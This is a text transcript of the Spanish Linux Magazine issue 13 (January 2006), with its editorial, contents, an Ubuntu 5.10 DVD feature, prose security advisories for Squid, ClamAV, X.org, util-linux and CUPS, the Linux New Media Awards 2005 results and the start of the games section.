Linux Magazine - Edición en Castellano, Nº 13

100
Juegos Nexuiz Juegos Comerciales WorldFrge Sudoku Java Anonymous Proxy Knoppix KOffice Moodle Phishing Detección Scripts Bash para tu haedwaew p49 Knoppix Aprende los trucos de su creador p39 PDFReport Generación de PDFs con Python p57 NÚMERO 13 • P.V.P 5,95 E Soporte de haedware mejorado Instalación sencilla de paquetes OpenOffice 2.0 Perl Creamos un plug-in para Gaim KOffice La ofimática de KDE WWW.LINUX - MAGAZINE.ES LINUX MAGAZINE NÚMERO 13 8 413042 594505 00013 Edición en Castellano JUEGOS Un centro de ocio en tu máquina Nexuiz: un shooter espectacular p12 Juegos comerciales bajo Linux p17 Crea un mundo de fantasía con WorldForge p23 Sudokus: El rompecabezas de moda en Linux p30 Phishing Evita el robo de tus datos p44 F-Spot Organiza tus fotos p78 KBarcode Genera etiquetas desde KDE p 74 Anonimato Navega y protege tu privacidad con Java Anonymous Proxy p46 8 413042 594505 00013

description

Puesto a la venta enero 2006. Tema de Portada: Juegos. DVD: Ubuntu 5.10

Transcript of Linux Magazine - Edición en Castellano, Nº 13

Page 1: Linux Magazine - Edición en Castellano, Nº 13

Ju

eg

os

Ne

xu

iz Ju

eg

os C

om

erc

iale

s Wo

rldFrg

e S

ud

ok

u J

ava

An

on

ymo

us P

rox

y Kn

op

pix

KO

ffice

Mo

od

le P

hish

ing

DetecciónScripts Bash para tu haedwaew p49

KnoppixAprende los trucos de su creador p39

PDFReportGeneración de PDFs con Python p57

NÚMERO 13 • P.V.P 5,95 E

Soporte de

haedware

mejorado

Instalación

sencilla de

paquetes

OpenOffice 2.0

PerlCreamos unplug-in para Gaim

KOfficeLa ofimática deKDE

W W W . L I N U X - M A G A Z I N E . E S

LIN

UX

MA

GA

ZIN

E

ME

RO

13

8413042594505

00013

Edición enCastellano

JUEGOSUn centro de ocio en tu máquina

Nexuiz: un shooter espectacular p12

Juegos comerciales bajo Linux p17

Crea un mundo de fantasía con WorldForge p23

Sudokus: El rompecabezas de moda en Linux p30

PhishingEvita el robo de tus datos p44

F-SpotOrganiza tus fotos p78

KBarcodeGenera etiquetas desdeKDE p 74

AnonimatoNavega y protege tu privacidad

con Java Anonymous Proxy p46

8413042594505

00013

Page 2: Linux Magazine - Edición en Castellano, Nº 13
Page 3: Linux Magazine - Edición en Castellano, Nº 13

Antiproceso

es el reco-

nocimiento

y marginalización

preventiva de infor-

mación no deseada

a través de la com-

binación sinergéti-

ca de mecanismos adquiridos de defensa

mental de alta prioridad.

– Timothy Campbell

Hombre, así contado, no es el comien-

zo más prometedor para un artículo que

se pretende ligero y de fácil lectura. Una

manera más asequible de comprenderlo

es cuando partimos de una discusión

murmurando “¡Pero qué estúpida es la

gente!”. Pues bien, cuando eso ocurre,

ten por seguro que el antiproceso ha aso-

mado su fea e irracional cabeza.

Timothy Campbell (http://members.

aol.com/timxcampbell/tc123.htm) inven-

tó el término (http://members.aol.com/

intwg/antiprocess.htm) para describir y

explicar la cerrazón mental que se produ-

ce cuando, a pesar de quedarse obvia-

mente sin argumentos, alguien sigue dis-

cutiendo a pesar de todo.

Cuando uno se encuentra inmerso en

un diálogo de sordos en una fiesta y lo

único que busca es impresionar a la con-

currencia, que el contendiente esgrima

argumentaciones cada vez más ridículas

no hace más que acrecentar el placer de

la caza del zopenco. Siempre y cuando

no quedes como un prepotente engreído

delante de la dama (y se vaya con el per-

dedor por lástima), no importa mucho

que el contrario no atienda a razones.

Pero si se da la casualidad de que

estás convencido de que lo que dices es

verdad, que mejoraría la situación en el

mundo de manera perceptible y tienes

las pruebas empíricas que demuestran

ambas cosas, duele que se esgriman

razonamientos peregrinos para contra-

riarte.

¿Te sientes identificado? ¡Claro que sí!

Pero antes de echarme una brazo alrede-

dor de los hombros y llorar en mi oreja,

veamos porqué ocurren estas cosas.

Todo cambio supone una crisis,

toda crisis supone dolor y esfuer-

zo, todo dolor y esfuerzo supone

que hay alguien que no está dis-

puesto a asumirlo. Y ahí es donde

entra en juego el antiproceso.

Tomemos como ejemplo una dis-

cusión que mantuve recientemen-

te con el director de una micro-

empresa de desarrollo. Ya sabéis

cómo suelen desarrollarse este

tipo de conversaciones: El tipo

defiende su uso de Windows

“porque para Linux no hay herra-

mientas” y tú le rebates uno a

uno sus argumentos con nombres

de aplicaciones, que no sólo están en

Linux, sino que son multiplataforma, y

que por tanto son suceptibles de ser pues-

tas a prueba antes de dar el salto a Linux.

Además, en muchos casos, cuentan con el

respaldo de una gran corporación o han

demostrado su valía en el mundo real de

manera incuestionable. Tú vas desgranan-

do: OpenOffice, Eclipse, Intel C Compiler,

GCC, Apache… El tipo resiste y resiste, no

porque sea idiota (bueno, algo de eso

también hay), sino porque, hablando mal

y claro, está cagado.

Tu misión es disipar sus dudas: mover

una empresa, por pequeña que sea, a tra-

vés del razonamiento al lado luminoso de

la fuerza, es un paso más en la dirección

correcta para la industria informática

nacional. Pero ¿qué está pasando aquí?

Su resistencia se vuelve más y más inco-

nexa, en proporción directa a tu presión

sanguínea. Pero no por ello el sujeto deci-

de abandonar graciosamente el debate y

decir “vale, sí, tienes razón. Dame una

docena de esos CDs que llevas ahí”. Al

final esgrimes el argumento más peregri-

no, algo que su cerebro de mosquito

pueda entender, a ver si así…, y dices

aquello de “y además ahorrarás una

pasta en licencias”.

Ya sabéis qué viene ahora: “Yo no pago

ninguna licencia” dice él, con cara de

autosuficiencia, pensando que ha iguala-

do tu argumento. Aparte de que esta

frase le invalida moralmente para cual-

quier tipo de enfrentamiento, ahí es

cuando sus socios, que asistían circums-

pectos al intercambio, deberían haberse

lanzado sobre el sujeto para degollarle

con los bolígrafos promocionales de

Guadalinex que les acabas de regalar,

más que nada por el riesgo que supone

tener semejante insensato a la cabeza de

una empresa que acaba de empezar.

Las multas y los costes legales deriva-

dos en los que se puede incurrir ante

semejante irresponsabilidad son lo sufi-

cientemente altos como para dar al traste

con una firma consolidada, ni hablemos

de un startup. Las deudas que contraerí-

an los socios de revelarse la actividad ilí-

cita, no sólo destruirían la firma, sino que

sumarían en la pobreza a sus promotores

y sus familias durante muchos años.

Pero, claro, te ha dejado tan de una

pieza con su estupidez, que a lo único

que alcanzas es a boquear como un pez

en tierra y, por desgracia, el enlace a

“Cómo ganar” en el sitio de Campbell

está roto, así que te quedas con las ganas

de saber cómo derrotar definitivamente a

semejante zoquete por medios científi-

cos.

3

EDITORIAL

3Número 13W W W . L I N U X - M A G A Z I N E . E S

Estimado Lector de Linux MagazineNos sentimos orgullosos de nuestrosorígenes como publicación, que seremonta a los primero días de la revo-lución Linux.Nuestra revista hermana,la publicación alemana Linux Maga-zin, fundada en 1994, fue la primerarevista dedicada a Linux en Europa.Desde aquellas tempranas fechashasta hoy, nuestra red y experienciahan crecido y se han expandido a lapar que la comunidad Linux a lo anchoy largo del mundo. Como lector deLinux Magazine, te unes a una red deinformación dedicada a la distribucióndel conocimiento y experiencia téc-nica. No nos limitamos a informarsobre el movimiento Linux y de Soft-ware Libre, sino que somos parteintegral de él.

ANTIPROCESO

Paul C. Brown

Director

Page 4: Linux Magazine - Edición en Castellano, Nº 13

4 Número 13

CONTENIDOS • Linux Magazine nº 13

W W W . L I N U X - M A G A Z I N E . E S

30 Sudoku

Presentamos software que genera siem-

pre nuevos campos de juego, pero que

también ayuda a solucionarlos.

33 Koffice

La última versión del paquete ofimático

KOffice viene cargada de novedades,

incluyendo más aplicaciones.

39 KnoppixEl creador de Knoppix, Klaus Knopper,

comparte algunos trucos para usar

Knoppix en el mundo real.

44 Phising

Un nuevo ataque de phishing se basa en

colocar una etiqueta HTML en un servi-

cio vulnerable para capturar los datos

de autenticación de los usuarios.

46 JAP Ghost

Si no queremos ir ofreciendo informa-

ción que acabará en algún estudio de

mercado, Java Anonymous Proxy man-

tendrá nuestras incursiones en secreto.

PORTADA PRÁCTICO

49 Hard Detect

Si se necesita una respuesta rápida

sobre las tripas de un ordenador, pode-

mos usar un script Bash para obtener un

inventario del hardware de un sistema

Linux.

52 Perl

El proyecto Gaim proporciona un cliente

de mensajería instantánea que soporta

un gran número de protocolos. En este

artículo veremos cómo ampliar Gaim

con plug-ins en Perl.

57 ReportLab

ReportLab es una biblioteca gratuita que

permite crear documentos PDF emple-

ando como lenguaje de programación

Python

61 Python: AI y Sudoku

Python es un lenguaje que gusta mucho

en la comunidad de Inteligencia

Artificial, no en vano Google dice que es

una de sus armas. Hoy vamos a conver-

tirlo en la nuestra.

12 Nexuiz

¿Quieres disfrutar de una jugosa

Ensalada de tiros… sin pagar una sus-

cripción a Cedega? Nexuiz lo hace posi-

ble.

17 Juegos Comerciales

Linux entra a saco en el mercado del

videojuego, creando a su paso nuevas

formas de negocio y comunidades con-

vertidos a programadores y creadores de

sus propios juegos.

23 World Forge

El sistema de mundos virtuales

WorldForge, nos permite crear nuestro

propio mundo virtual y sumergirnos en

él en un entorno 3D.

DESARROLLO

LINUX MAGAZINE

3 Editorial

6 DVD Linux Magazine

8 Inseguridades

9 Noticias

94 Eventos

94 Información de Contacto

95 Subscripciones

97 Linux Local

98 Próximo Número

EVALUACIÓN

PRÁCTICO

Page 5: Linux Magazine - Edición en Castellano, Nº 13

5Número 13W W W . L I N U X - M A G A Z I N E . E S

76 Desktopia

Si estás buscando escritorio rápido y

funcional, prueba con WindowLab. Este

administrador de ventanas minimalista

se concentra en lo que es importante y

funciona sin pitos ni flautas superfluos.

78 F-Spot

El programa de administración de ima-

gen F-Spot te ayuda a administrar tu

archivo de fotos eficazmente y sin nin-

gún tipo de pérdida de tiempo.

81 ZShell

La moderna Z-Shell con sus inumerables

y útiles características ofrece a los fans

de la línea de comandos una atractiva

alternativa a Bash.

85 EducaciónE-learning, teleformación, plataformas

educativas… son palabras y conceptos

de moda, que parece que van a acabar

con las formas tradicionales de enseñan-

za y aprendizaje.

89 Línea de Comandos

El comando ls lista ficheros en la línea

de comandos además de ofrecer una

lista detallada de las propiedades del

fichero de gran utilidad.

ADMINISTRACIÓN

LINUX USER

LINUX USER

65 La Columna de Charly

66 NTP

Las redes requieren a menudo de un

control de la hora muy preciso. El

Network Time Protocol proporciona este

tiempo con precisión.

69 Seguridad Web

Como una manzana envenenada, un

programa Web que aparentemente tiene

un aspecto sabroso puede, sin embargo,

encerrar un interior muy peligroso.

Aquellos administradores que cubren

ellos mismos sus necesidades de progra-

mación, deben seguir las prácticas de

programación segura para evitar el

amargo sabor del malware.

74 KBarcode

¿Tienes problemas con la creación de las

etiquetas de los precios de tu papelería,

con la de las tarjetas postales o con los

códigos de identificación? Deja que

KBarcode te eche una mano.

� Configuración asistida conYast2

� Kernel 2.6.13

� Suite ofimático OpenOffice2.0

� Voz sobre IP

Más información en la página 6.

Page 6: Linux Magazine - Edición en Castellano, Nº 13

DVD LINUX MAGAZINE

6 Número 13 W W W . L I N U X - M A G A Z I N E . E S

mes Linux Magazine, 5.10 – Breezy

Badger.

CompromisoLa Fundación Ubuntu, fundada en el 2005,

tiene un sólido compromiso con la comu-

nidad del software libre, que sus promoto-

res resumen en 4 puntos públicos:

• Ubuntu siempre será gratuito y

no hay un recargo para la ver-

sión “empresarial”.

• Ubuntu viene con soporte

comercial de centenares de

empresas dispersadas a lo largo

y ancho del globo. Se lanzan

versiones con regularidad

(cada seis meses), y cada

nuevo lanzamiento se soporta

con parches de seguridad y

Si hay una distribución cuya carre-

ra se puede considerar meteórica,

esa distribución es Ubuntu.

Desde que apareció en octubre del 2004

(siendo su primera versión Ubuntu 4.10

– Warty Warthog), Ubuntu ha gozado de

una popularidad ascendente que lo ha

convertido en indiscutible líder de

DistroWatch durante meses.

Dicha popularidad se debe en parte a

la de su impulsor, el carismático millona-

rio surafricano Mark Shuttleworth, pero

sobre todo a su calidad en cuanto a

detección de hardware, facilidad de uso

e instalación y amplio abanico de paque-

tes.

De momento se han liberado tres ver-

siones: 4.10 – Warty Warthog, 5.04 –

Hoary Hedgehog y la que os trae este

corrección de errores durante al

menos 18 meses.

• Ubuntu incluye las mejores tra-

ducciones e infraestructura de

accesibilidad disponibles en la

comunidad del software libre

para poder ofrecerlo al máximo

número de personas. Es férreo

defensor de los principios del

software libre.

Para sistema de escritorio

Un sistema de escritorio aporta un siste-

ma con entorno gráfico desde el cual se

pueden llevar a cabo tareas ofimáticas

comunes.

1.- Inserte el DVD en su lector y arranque

el equipo.

2.- Cuando aparezca la palabra boot

pulse Enter.

3.- Se ejecutará el instalador. Siga las

instrucciones que se muestran en la

pantalla para completar la instalación.

4.- Una vez completada la instalación,

aparecerá la pantalla de inicio y podrá

conectarse para utilizar Ubuntu 5.10.

Para sistema servidor

El modo servidor provee de un sistema

base apropiado para la instalación de

aplicaciones de servidor. Se pueden aña-

dir más servicios según las necesidades

una vez completada la instalación.

1.- Inserte el DVD en su lector y arranque

el equipo.

2.- Cuando aparezca la palabra boot

escriba “server” y pulse Enter.

3.- Se ejecutará el instalador. Siga las

instrucciones que se muestran en la

pantalla para completar la instalación.

4.- Una vez completada la instalación, se

le informará que Ubuntu 5-10 está listo

para su uso.

Instalación

Figura 1: Ubuntu viene con una detección y

configuración de hardware mejorada que

facilita la integración de dispositivos.

La sorpresa del año

UBUNTU 5.10

Page 7: Linux Magazine - Edición en Castellano, Nº 13

DVD LINUX MAGAZINE

7Número 13W W W . L I N U X - M A G A Z I N E . E S

Siguiendo religiosamente estas cuatro pre-

misas, no sólo ha conseguido granjearse la

simpatía de la comunidad Linux, sino

también ha atraído a usuarios profesiona-

les, noveles e institucionales. Ya existen

distribuciones derivadas de Ubuntu, como

es el caso de Kubuntu, que implementa

KDE por defecto en vez de Gnome; y

Edubuntu, enfocada a la educación esco-

lar [2]. Otra derivada de Ubuntu es la

nueva versión 3 de Guadalinex [3], en fase

de desarrollo beta.

El Tejón AireadoLa nueva versión de Ubuntu, la 5.10 (5,

por 2005 y 10 porque se liberó en

Octubre) va camino de seguir las estela-

res trayectorias de sus antecesoras. La

5.10, también conocida como “Breezy

Badger” (“Tejón Aireado”), incluye

importantes novedades con respecto a

sus anteriores.

Por un lado cuenta con un soporte de

hardware mejorado gracias a su kernel

2.6.12.6 modificado y ampliado con los

módulos y drivers de terceros. Ubuntu

5.10 tal vez ofrezca uno de los mejores

soportes de hardware de todas las distri-

buciones existentes. De hecho, La ver-

sión Breezy Badger se ha convertido en

la distribución favorita para las instala-

ciones OEM (preinstalación en equipos

para su venta) en muchos mercados, ya

que es la que más garantías da para un

soporte más amplio.

Por otro, se ha facilitado la instalación de

paquetes, mejorándose sustancialmente el

proceso de instalación de software adicio-

nal una vez finalizada la instalación del sis-

tema base. Por otra parte, Ubuntu cuenta

con la herramienta de la línea de comandos

apt, que aúna la potencia con la sencillez

de uso. En muchos casos basta con escribir

# apt-get installU

<I>nombrepaquete<I>

en la línea de comandos para que se reali-

ce una instalación automatizada del

paquete, pero para aquellos que se sienten

más cómodos con una interfaz gráfica,

Ubuntu también dispone de Synaptic, que

ofrece una cara más amistosa para apt al

permitir el uso del “apuntar y picar” en un

entorno de ventanas.

Y, nuevo en la versión 5.10, es el instala-

dor de paquetes integrado en los menús.

Siguiendo la tendencia de otras distribu-

ciones como Suse y su Yast o Mandriva y

su Drakconf, los ingenieros de Ubuntu

han creado una entrada en el sistema de

menús que enlaza con administrador de

software que permita la instalación rápida

y sencilla de paquetes adicionales.

Asimismo se ha incorporado una nueva

herramienta, el “Language Selector”, que

hace que sea más fácil instalar idioma

nuevo y permite el soporte para varios

lenguajes simultáneamente.

Por todo ello, Ubuntu se ha convertido

en poco tiempo en uno de las distribu-

ciones favoritas de la comunidad Linux.

Pruébalo y no te defraudará. �

[1] Kubuntu: http://www.kubuntu.org/

[2] Edubuntu: http://www.edubuntu.org/

[3] Guadalinex V3: http://www.

guadalinex.org/modules/news/

RECURSOS

Para el escritorio

• GNOME 2.12.1

• OpenOfficeorg 2.0 beta 2

• X.org 6.8.2 con soporte de hardware

ampliado

• Instalación de aplicaciones mejorada

integrada en el menú

• Soporte de multilenguaje mejorado

Para el Servidor

• Plone 2.1 y Zope 2.8.1

• PHP5

• Soporte para la instalación directa en

volúmenes LVM

• Funcionalidad thin client integrado

• Soporte para hasta 4 gigabytes de

RAM en arquitecturas de 32 bits

• Soporte en el Kerneal para sistemas

de ficheros de clusters (OCFS2 y GFS)

Soporte Hardware

• Kernel 2.6.12.6 con drivers actualiza-

dos de terceros

• Mejoras para el soporte de portátiles

(teclas predefinidas, soporte suspen-

sión/recuperación en más modelos)

• Soporte para combis escáners/impre-

soras de HP integrado

• Soporte para dispositivos de entrada

Bluetooth (teclados, ratones, etc.)

• Kernel de 64 bits para PowerPC

Destacamos

En Ubuntu, por defecto, el superusuario

root no cuenta con contraseña. Por

tanto, ¿cómo se realizan tareas adminis-

trativas que requieren el uso de root? La

respuesta es con sudo. sudo es una apli-

cación que permite a ciertos usuarios

“normales” realizar tareas que normal-

mente están reservadas para root.

Cada vez que Ubuntu requiera el uso de

una contraseña para realizar cualquier

tarea, el usuario ha de introducir su pro-

pia contraseña. De esta manera, Ubuntu

da a entender que se accede a alguna

funcionalidad potencialmente peligrosa

y que hay que andarse con ojo.

Para los que consideran este sistema un

peligro, no hay más que dotar a root de

contraseña…

$ <B>su<B>

Password: <B>[Introduzca su con-

traseña aquí]<B>

# <B>passwd<B>

Changing password for root.

New Password:

Type new password again:

Password Changed.

y cambiar los privilegios de los usuarios

en el fichero /etc/sudoers. Para ello se

puede utilizar el programa especial visu-

do desde la línea de comandos.

A Propósito de root

Figura 2: Todo el software que vayas a nece-

sitar se encuentra en el DVD. En la imagen,

el programa de diseño the GIMP.

Figura 3: Por defecto, the Ubuntu instala el

escritorio GNOME. En la imagen, el navega-

dor de ficheros Nautilus.

Page 8: Linux Magazine - Edición en Castellano, Nº 13

8

INSEGURIDADES

Schlagwort sollte hier stehenLINUX USERINSEGURIDADES

8 Número 13 W W W . L I N U X - M A G A Z I N E . E S

�SquidSquid es un proxy cacheador de páginas

web. Se ha encontrado un fallo en la

manera en la que presenta los mensajes

de error. Un atacante podría enviar una

petición conteniendo un nombre de host

inválido, que resultaría en la presenta-

ción de un mensaje de error usado pre-

viamente. El Proyecto de

Vulnerabilidades y Exposiciones

Comunes (Common Vulnerabilities and

Exposures o CVE – http://cve.mitre.org)

ha asignado a este problema el nombre

CAN-2005-2479.

Se encontraron dos errores de

Denegación de Servicio (el sistema se

cuelga) en el modo en el que Squid

maneja las peticiones malformadas. Un

atacante remoto podría presentar una

petición especialmente manipulada que

haría que el sistema se colgara. El

Proyecto de Vulnerabilidades y

Exposiciones Comunes (Common

Vulnerabilities and Exposures o CVE –

http://cve.mitre.org) ha asignado a estos

problemas los nombres CAN-2005-2794

y CAN-2005-2796 respectivamente. �

-Referencia Debian:

DSA-809-2 apache2

-Referencia Mandriva:

MDKSA-2005:162

-Referencia Red Hat: RHSA-2005:766-7

-Referencia Suse: SUSE-SA:2005:053

� Clam AntivirusClam Antivirus es un juego de herra-

mientas anti-virus con licencia GPL dise-

ñado para su integración en servidores

de correo para mejorar el escaneado de

adjuntos. También ofrece un escáner

desde la línea de comando, así como

una herramienta para buscar actualiza-

ciones para la base de datos de virus.

Existe una vulnerabilidad de desbor-

damiento de búfer en libclamav/upx.c

cuando procesa paquetes ejecutables

UPX malformados. libclamav/fsg.c tam-

bién puede caer en un bucle infinito

cuando procesa ejecutables empaqueta-

dos FSG especialmente manipulados.

Mediante el envío de un fichero espe-

cialmente manipulado, un atacante

podría ejecutar código arbitrario con los

permisos de otro usuario de Clam

Antivirus o provocar una Denegación de

Servicio (el sistema se cuelga). �

-Referencia Debian:

DSA-824-1 apache2

-Referencia Gentoo: GLSA 200509-1

-Referencia Mandriva:

MDKSA-2005:166

-Referencia Suse: SUSE-SA:2005:055

� X.org y XFree86X.org y XFree86 son implementaciones

del Sistema X Window. Ofrecen la fun-

cionalidad de bajo nivel básica para

interfaces de usuario gráficas (GUIS)

sobre las que se apoyan gestores de ven-

tanas tales como GNOME y KDE.

Se encontraron varios errores de des-

bordamiento de entero en el modo en el

que X analiza imágenes pixmap. Es posi-

ble que un usuario consiga privilegios

elevados cargando una imagen pixmap

especialmente manipulada. El Proyecto

de Vulnerabilidades y Exposiciones

Comunes (Common Vulnerabilities and

Exposures o CVE – http://cve.mitre.org)

ha asignado el nombre CAN-2005-2495 a

este problema. �

-Referencia Debian: DSA-816-1

-Referencia Mandriva:

MDKSA-2005:164

-Referencia Red Hat: RHSA-2005:396-9

-Referencia Slackware:

SSA:2005-269-02

-Referencia Suse: SUSE-SA:2005:056

� util-linuxutil-linux es una juego de útiles progra-

mas Linux, incluyendo umount, un pro-

grama para desmontar sistemas de fiche-

ros.

Cuando un usuario normal monta un

sistema de ficheros, se encuentra someti-

do a restricciones en el fichero de confi-

guración /etc/fstab. David Watson descu-

brió que cuando se desmonta un fichero

con la opción -r, se activa el bit de sólo

lectura, mientras que otros bits como el

nosuid o nodev, no, incluso si ya lo estu-

vieron previamente.

Un usuario sin privilegios frente a

restricciones nosuid o nodev puede usar

umount -r en un sistema de ficheros

para desactivar esos bits, permitiendo

que las aplicaciones sean ejecutadas

suid, o interpretar nodos de dispositi-

vos. En el caso de que el usuario puede

modificar libremente el contenido del

sistema de ficheros, puede darse un

escalamiento de privilegios cuando un

programa cliente se ejecute con permi-

sos suid.

Existen dos soluciones a este tema: el

bit suid puede cambiarse desde la utili-

dad umount, o pueden restringirse los

privilegios de montaje y desmontaje de

los usuarios desde /etc/fstab. Todos los

usuarios de util-linux deberían actuali-

zarse a la última versión. �

-Referencia Debian: DSA-823-1

-Referencia Gentoo: GLSA 200509-15

-Referencia Mandriva:

MDKSA-2005:167

-Referencia Slackware:

SSA:2005-255-02

� CUPSEl Sistema de Impresión Común UNIX

(CUPS) ofrece una capa de impresión

portable para sistemas operativos

Unix(R).

Se encontró un error en la manera en

la que CUPS procesa las peticiones HTTP

malformadas. Es posible que un usuario

remoto capaz de conectarse a demonios

CUPS emita una petición HTTP GET mal-

formada que haga que CUPS caiga en

bucle infinito. El Proyecto de

Vulnerabilidades y Exposiciones

Comunes (Common Vulnerabilities and

Exposures o CVE – http://cve.mitre.org)

ha asignado a este problema el nombre

CAN-2005-2874. �

-Referencia Mandriva:

MDKSA-2005:138-1

-Referencia Red Hat:

RHSA-2005:772-8

Page 9: Linux Magazine - Edición en Castellano, Nº 13

9

LINUX NEW MEDIA AWARDS 2005 • EVENTOS

9Número 13W W W . L I N U X - M A G A Z I N E . E S

Premios Linux New Media 2005

LA CRESTA DE LA OLALinux y el software libre se encuentran presentes en numerosos ámbitos, al igual que ocurre con la gente que

trabaja sobre y con Linux. Linux New Media ha reunido un jurado internacional de personalidades pertene-

cientes a la comunidad y a la industria para premiar las contribuciones más sobresalientes del Código

Abierto. Los premios Linux New Media se presentaron en la Linux World Expo de Frankfurt, Alemania.

La comunidad del código abierto se

compone de personas que viven y

trabajan a lo largo y ancho del

mundo y esto es precisamente lo que pro-

pició que Linux New Media AG invitara a

un jurado internacional de 200 miembros

para evaluar las contribuciones más desta-

cados al software libre. Además de des-

arrolladores, autores y expertos de la

industria, el jurado del 2005 incorpora por

primera vez miembros de la administra-

ción pública, donde el Código Abierto se

va consolidando progresivamente.

Tendencia VozIP

Las categorías también reflejan las ten-

dencias actuales. Linux se consolida en

nuevos campos de aplicación, por ejem-

plo en la telefonía IP. El software libre

PBX, Asterisk (http://www.asterisk.org),

atrajo la mayoría de los votos en la cate-

goría de “Mejor Software para Voz sobre

IP”, seguido de Skype (http://www.

skype.com). Este último, para muchos,

es el primer programa en acercar la

comunicación basada en protocolos de

Internet al usuario doméstico.

En la actualidad, la comunicación cor-

porativa sin Groupware, que integra

correo electrónico, administración de

direcciones y funciones de calendario, es

impensable. Y el software de código

abierto parece dispuesto a desterrar a

Exchange de su puesto dominante en

muchas compañías. Kolab (http://kolab.

org) se clasificó primero en la categoría

de “Mejor servidor de Groupware”,

seguido de cerca por Open-Xchange

(http://www.openexchange.com).

Los entornos corporativos tienen unos

requisitos muy específicos cuando se

trata de sistemas Linux y muchos prove-

edores ofrecen distribuciones empresa-

riales para satisfacer esas necesidades.

Más de la mitad del jurado estuvo de

acuerdo con el hecho de que los produc-

tos de Novell son los mejores en este

campo. El contendiente de toda la vida,

Red Hat, atrajo aproximadamente un ter-

cio de los votos y se clasificó en segundo

lugar.

Page 10: Linux Magazine - Edición en Castellano, Nº 13

A pesar del hecho de que el

gigante de la industria informáti-

ca, IBM, ha vendido su rama dedi-

cada a la fabriacación de PCs,

sigue utilizando Linux de manera

consistente para sus servidores,

tal y como es el caso de su serie

OpenPower. Por ello el jurado

otorgó el primer premio de

“Proveedor de hardware más amis-

toso con Linux” a IBM.

Ubuntu: La Nueva

Estrella

Un vistazo en restrospectiva al 2004

muestra otra clara tendencia. El año

pasado, Ubuntu (http://www.

ubuntulinux.org), era un promete-

dor recién llegado al panorama

Linux y se llevó el segundo

premio en la categoría “Mejor

Distribución de Nueva

Aparición”, por detrás de

Skole Linux, también basada

en Debian. La confianza

depositada por el jurado en

Ubuntu no estaba equivoca-

da: Ubuntu se mantuvo fiel a

su promesa de ciclos de lan-

zamientos regulares en el 2005,

estuvo bien representado en even-

tos de la comunidad, tales como

LinuxTag o aKademy, y ha adquiri-

do un asombroso número de fieles

en tan sólo doce meses. Tanto es

así, que logró hacerse este año con

el primer premio con un 43.5 por

ciento de los votos. Ubuntu, el

“Linux para seres humanos”,

de hecho, llegó a acaparar dos

de los tres primeros puestos

con Kubuntu, su variante

KDE, en tercer lugar. El 25 por

ciento de los votos fueron a

parar a Knoppix, el referente

en lo que se refiere a Live

CDs, que se clasificó en

segundo lugar.

Tras la aplastante victoria

de Ubuntu, no debe sorpren-

der que Mark Shuttleworth tam-

bién se llevará a casa otro trofeo

como reconocimiento a su espí-

ritu emprendedor, el mismo

espíritu que hizo posible el

alumbramiento del proyecto

Ubuntu. Mark consiguió el pre-

mio especial a la “Contribución

Sobresaliente a Linux y al soft-

ware libre”, no sólo por su trabajo con

Ubuntu, sino por la dedicación que ha

demostrado en otros muchos proyectos

de Código Abierto en su país de origen,

Surafrica, y en otros puntos del globo.

Sin embargo Mark tendrá que compar-

tir este premio con las personas, sin las

cuales, ni Linux ni otros programas

libres existirían: Los desarrolladores anó-

nimos. Al jurado le encantó la idea de

esta nominación y, como resultado, se

concede uno de los premios Linux New

Media 2005 a todo aquellos que contri-

buyen al software libre, ya sea de mane-

ra voluntaria, a tiempo completo o par-

cial. No hay duda que “el desarrollador

anónimo” es el corazón de la comunidad

del software libre. �

EVENTOS • LINUX NEW MEDIA AWARDS 2005

10 Número 13 W W W . L I N U X - M A G A Z I N E . E S

Hardware

Proveedor de Hardware

más amistoso

1. IBM 23,5 %

2. HP 16,3 %

3. AMD 11,3 %

Software

Mejor Software de Groupware

1. Kolab 22,2 %

2. OpenXChange 21,5 %

3. OpenGroupware 15,3 %

Mejor Softare VozIP

1. Asterisk 42,4 %

2. Skype 18,8 %

3. Gnomemeeting 15,8 %

Mejor Derivado de Debian

1. Ubuntu 43,5 %

2. Knoppix 23,7 %

3. Kubuntu 9,6 %

Mejor Distribución de Servidor

Empresarial

1. Novell / Suse 53,3 %

2. Red Hat 36,7 %

3. Mandriva 8,3 %

Premio Especial

Contribución Sobresaliente a Linux

/ Código Abierto

1. Mark Shuttleworth 12,1 %

1. El Desarrollador Anónimo 12,1 %

2. nosoftwarepatents.com / Florian Müller 9,6 %

3. Ciudad de Munich 8,92 %

Premios Linux New Media2005

Page 11: Linux Magazine - Edición en Castellano, Nº 13

digan “Yo quiero eso” y que la única

manera que tengan de conseguirlo, sea

instalando una distro.

En la sección de portada de Linux

Magazine de este mes, analizamos el

software de ocio bajo Linux y desgrana-

mos que se está haciendo y que se puede

hacer para convertir en efectivo el punto

de entrada más importante del software

libre en los hogares de los ciudadanos.

Y es que el mercado del ocio es

muy serio.�

Linux entra en la partida

A JUGAR

Juegos • PORTADA

Número 13W W W . L I N U X - M A G A Z I N E . E S

El mercado del ocio es muy serio.

Es el segundo mayor mercado en

lo que a movimiento de dinero se

refiere, sólo superado por el de la infor-

mación. Tanto es así que las grandes

empresas del sector se pelean encarniza-

damente por obtener la mayor parte del

pastel y gigantes como Sony y Microsoft

han entrado en una guerra sin cuartel de

prestaciones y precios para con sus con-

solas que, si bien favorece al consumi-

dor, puesto que le permite adquirir cen-

tros de multimedia casi al precio de

coste, deja poco espacio a otros proyec-

tos comerciales.

Sin embargo, el software libre siempre

ha destacado por su capacidad de adap-

tación a mercados difíciles. Si se ha

hecho con los servidores del mundo y ha

hecho grandes progresos en el área de

las estaciones de trabajo ofimáticas (for-

zando incluso a ciertas empresas a reali-

zar un amago de liberación de código y

formatos), no hay ningún motivo por el

cual no pueda irrumpir en el mercado

del videojuego y salir airoso. Máxime si

tenemos en cuenta que la infraestructura

modular de Linux permite que se adapte

a casi cualquier arquitectura para casi

cualquier propósito.

¿Un Linux optimizado para juegos?

Ningún problema. De hecho ya existen

unas cuantas distros por ahí, entre

ellas, la excelente Juegalinex de la Junta

de Extremadura, que hacen del ocio su

punta de lanza para penetrar en los

hogares aún reticentes a la adopción de

soluciones abiertas.

Y ahí es donde reside el interés en vol-

car esfuerzos, serios esfuerzos, en el des-

arrollo de infraestructuras y aplicaciones

lúdicas para Linux. Microsoft lo tiene

claro: creando consolas que enganchen a

los jóvenes en las casas y ofreciendo

importantes descuentos a escuelas para

que utilicen su software en las aulas, se

invierte en un mercado que devolverá

con creces la inversión realizada en la

actualidad.

La comunidad del software libre tam-

bién tiene que tenerlo claro: entrar a los

usuarios potenciales y noveles a través

del software lúdico garantizará que más

gente sea más receptivo hacia el

software libre en su hogar y

empresa en el futuro.

Por tanto hay que escri-

bir juegos, buenos y

atractivos juegos.

Juegos que

